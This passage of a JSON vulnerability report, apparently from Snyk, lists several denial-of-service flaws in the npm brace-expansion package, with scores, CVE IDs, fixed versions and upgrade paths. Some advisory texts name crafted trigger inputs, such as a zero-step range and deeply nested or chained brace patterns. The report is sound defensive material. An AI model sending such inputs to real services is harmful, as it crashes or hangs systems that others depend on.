"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
